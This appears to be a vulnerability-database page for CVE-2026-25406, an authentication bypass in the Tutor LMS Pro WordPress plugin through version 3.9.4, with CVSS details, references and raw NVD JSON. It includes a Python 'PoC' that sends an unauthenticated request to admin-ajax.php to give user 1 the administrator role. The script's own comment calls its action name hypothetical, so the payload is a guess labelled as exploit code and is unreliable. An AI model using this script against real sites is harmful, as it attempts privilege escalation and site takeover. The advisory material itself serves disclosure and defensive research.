CVE-2026-25406

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in Themeum Tutor LMS Pro tutor-pro allows Authentication Abuse.This issue affects Tutor LMS Pro: from n/a through <= 3.9.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Themeum Tutor LMS Pro <= 3.9.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_vulnerability(target_url):
    """
    PoC for CVE-2026-25406 Authentication Bypass
    """
    # The vulnerable endpoint is often an exposed action in wp-admin/admin-ajax.php
    # or a specific REST route that lacks nonce verification.
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to perform a privileged action without auth
    payload = {
        "action": "tutor_pro_add_instructor", # Hypothetical sensitive action
        "user_id": 1, # Attempting to promote user ID 1 or create admin
        "role": "administrator"
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (PoC Scanner)",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    try:
        # Sending request without authentication cookies
        response = requests.post(url, data=payload, headers=headers, timeout=10)
        
        if response.status_code == 200 and ("success" in response.text or "admin" in response.text.lower()):
            print(f"[+] Target {target_url} appears vulnerable to CVE-2026-25406.")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Target {target_url} does not appear vulnerable.")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to {target_url}: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25406
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25406
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25406/
[4] VulDB https://vuldb.com/cve/CVE-2026-25406
[5] https://patchstack.com/database/Wordpress/Plugin/tutor-pro/vulnerability/wordpress-tutor-lms-pro-plugin-3-9-4-broken-authentication-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25406", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:49.890", "lastModified": "2026-04-28T19:37:05.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Themeum Tutor LMS Pro tutor-pro allows Authentication Abuse.This issue affects Tutor LMS Pro: from n/a through <= 3.9.4."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación usando una ruta o canal alternativo en Themeum Tutor LMS Pro tutor-pro permite el abuso de autenticación. Este problema afecta a Tutor LMS Pro: desde n/a hasta <= 3.9.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tutor-pro/vulnerability/wordpress-tutor-lms-pro-plugin-3-9-4-broken-authentication-vulnerability?_s_id=cve", "source": "[email protected]"}]}}